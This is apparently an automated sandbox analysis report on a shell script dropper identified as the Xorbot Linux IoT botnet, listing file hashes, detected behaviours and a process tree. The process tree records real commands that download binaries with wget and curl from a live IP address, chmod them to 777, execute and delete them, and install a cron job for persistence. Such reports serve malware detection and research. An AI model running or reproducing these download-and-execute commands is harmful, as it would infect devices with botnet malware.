Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/12/2024, 21:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8580d3e0404771972a9f01c8f1022b41

  • SHA1

    12009ebfa508f900f56d9da9a3fc0f058ce2227a

  • SHA256

    838e2007e9ae8cb8aaa9c2f53b17d5503d751cdc59a5997e2b9228de843b38f1

  • SHA512

    11d915de31c2a4cde4cd48529b3962db89f49307c35d963b9c4ee6e4edaa1eb02fd409d65305a4f30a6a0576ab134d3479071c9eee0d5bbf6b71b8151caacde9

  • SSDEEP

    96:uxnn5zkwsZhf0wvJhVz6a/eHK9h1TksmBbQJhVz6aDyyLil8dm9h1Tksdg1PZhfZ:u0Zhf0wv9eHK0CHZhf0wx

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:722
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          ./3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            ./xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:742
          • /bin/rm
            rm xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            ./WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Executes dropped EXE
            PID:765
          • /bin/rm
            rm WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
              PID:768
            • /usr/bin/wget
              wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:801
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:812
            • /bin/chmod
              chmod 777 DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • File and Directory Permissions Modification
              PID:817
            • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              ./DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Executes dropped EXE
              PID:818
            • /bin/rm
              rm DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
                PID:821
              • /usr/bin/wget
                wget http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:822
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:830
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:839
              • /bin/chmod
                chmod 777 hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • File and Directory Permissions Modification
                PID:840
              • /tmp/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                ./hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:841
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:843
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:844
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:845
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:846
                  • /bin/rm
                    rm hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                    2⤵
                      PID:848
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                      2⤵
                        PID:851

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /var/spool/cron/crontabs/tmp.ICXyMW

                            Filesize

                            210B

                            MD5

                            63e576541a1fa601a94c779b13ee45c5

                            SHA1

                            2d0f3f8aa84af8599342ebe285ba47f5b1ff9ede

                            SHA256

                            d9a84c3015992a13222ed5987391813f8071650b48952f390ebc49d71e9e65c1

                            SHA512

                            67ca7f224c341a2a5a05f7b12b0a62229743c03d4fb4d4cdc10f1c7207991f02fe90182ed3e95b6b720c7fe46ee4f636286cda9493d9a22e904cdd7805a0d8bd